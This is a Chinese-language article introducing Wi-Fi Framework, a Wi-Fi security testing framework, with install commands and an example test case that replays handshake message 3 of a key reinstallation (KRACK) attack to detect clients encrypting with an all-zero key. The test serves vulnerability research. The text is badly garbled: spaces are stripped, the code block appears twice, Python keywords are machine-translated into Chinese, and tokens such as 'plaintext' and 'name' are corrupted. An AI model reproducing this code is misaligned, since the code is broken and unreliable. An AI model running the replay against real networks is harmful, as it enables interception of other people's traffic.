关于Wi-FiFrameworkWi-FiFramework是一个强大的WiFi安全测试工具,本质上是一个安全框架,可以帮助广泛的研究使人员更容易进行Wi-Fi-Fi安全测试。此外,我们还可以使用Wi-FiFramework创建模糊测试工具,设计新的测试方案,创建PoC来验证漏洞,自动化渗透测试或开发其他漏洞测试工具。这个框架的主要优点是它允许我们重用Linux的Wi-Fi功能,以便更轻松地进行安全测试。例如,该框架帮助我们连接到(受保护的)Wi-Fi网络并在测试客户端时为我们广播信标。一般来说,Linux的任何Wi-Fi功能都可以重复使用,以更快地实施安全测试。Wi-FiFramework架构下图为Wi-FiFramework:ToolInstallation中的Wi-Fidaemon进程和框架组件架构图该框架可以运行在本地Linux系统或虚拟机环境中。首先,我们需要使用如下命令将项目源码克隆到本地:gitclonehttps://github.com/domienschepers/wifi-framework.git接下来使用以下命令安装工具需要的依赖组件:apt-getupdateapt-getinstallgitmakegccpython3-venvnet-toolsapt-getinstalllibdbus-1-devlibnl-3-devlibnl-genl-3-devlibnl-route-3-devlibssl-dev安装后是完成,使用以下命令安装Framework:cd../dependencies./build.shcd../setup./pysetup.shlibwifilibwifi库作为git-only模块使用,需要手动安装:gitsubmoduleinitgit子模块更新工具用于初始化和激活Python环境:sourcesetup/venv/bin/activate模拟Wi-Fi网络接口:./setup-hwsim.sh4运行该工具并创建一个测试用例:usage:run.py[-h][--configCONFIG][--binaryBINARY][--debugDEBUG]iface名称指定网络配置信息:cdsetupln-ssupplicant-wpa3-personal.confsupplicant.conf工具使用示例假设我们现在需要测试客户端是否使用全零密钥来加密帧数据,并且在这种情况下可能发生在密钥重装攻击期间。然后借助Wi-FiFramework,我们不需要重新实现接入点的所有功能,只需要编写如下测试用例:classExampleKrackZerokey(Test):name="example-krack-zero-key"kind=Test.Authenticatordef__init__(self):super().__init__([#Replay4-WayHandshakeMessage3/4.Action(trigger=Trigger.Connected,action=Action.Function),#接收所有帧并搜索一个用全零密钥加密的。Action(trigger=Trigger.NoTrigger,action=Action.Receive),#当我们收到这样的帧时,我们可以终止测试。Action(trigger=Trigger.Received,action=Action.终止)])defresend(self,station):#重新发送4次握手消息3/4.station.wpaspy_command("RESEND_M3"+station.clientmac)defreceive(self,station,frame):ifframe[Dot11].addr2!=station.clientmacornotframe.haslayer(Dot11CCMP):returnFalse#检查是否可以使用全零密钥解密CCMP加密帧plaintext=decrypt_ccmp(frame.getlayer(Dot11),tk=b"\x00"*16)如果plaintextisNone:returnFalse#我们收到了一个有效的明文框架!日志(状态,'客户端使用全零密钥加密了一个框架!',color=“绿色”)返回TrueclassExampleKrackZerokey(Test):n??ame=“example-krack-zero-key”kind=Test.Authenticatordef__init__(self):super().__init__([#Replay4-WayHandshakeMessage3/4.Action(trigger=Trigger.Connected,action=Action.Function),#接收所有帧并搜索一个用all-zerokey.Action(trigger=Trigger.NoTrigger,action=Action.Receive),#当我们收到这样的帧时,我们可以终止测试。Action(trigger=Trigger.Received,action=Action.Terminate)])defresend(self,station):#重新发送4次握手消息3/4.station.wpaspy_command("RESEND_M3"+station.clientmac)defreceive(self,station,frame):ifframe[Dot11].addr2!=station.clientmacornotframe.haslayer(Dot11CCMP):returnFalse#检查是否可以使用全零密钥解密CCMP加密帧plaintext=decrypt_ccmp(frame.getlayer(Dot11),tk=b"\x00"*16)如果解放军intextisNone:returnFalse#Wereceivedavalidplaintextframe!log(STATUS,'Clientencryptedaframewithanall-zerokey!',color="green")returnTrue以上测试用例将创建一个客户端能够连接的接入点客户端连接后,会向客户端发送4次握手报文。接下来,易受攻击的客户端将开始对密钥使用全零加密,然后由测试用例自动检测到。我们也可以使用模拟Wi-Fi来运行上面的测试用例:./setup/setup-hwsim.sh4sourcesetup/venv/bin/activate./run.pywlan1example-krack-zero-key项目地址Wi-Fi框架:【GitHub传送门】
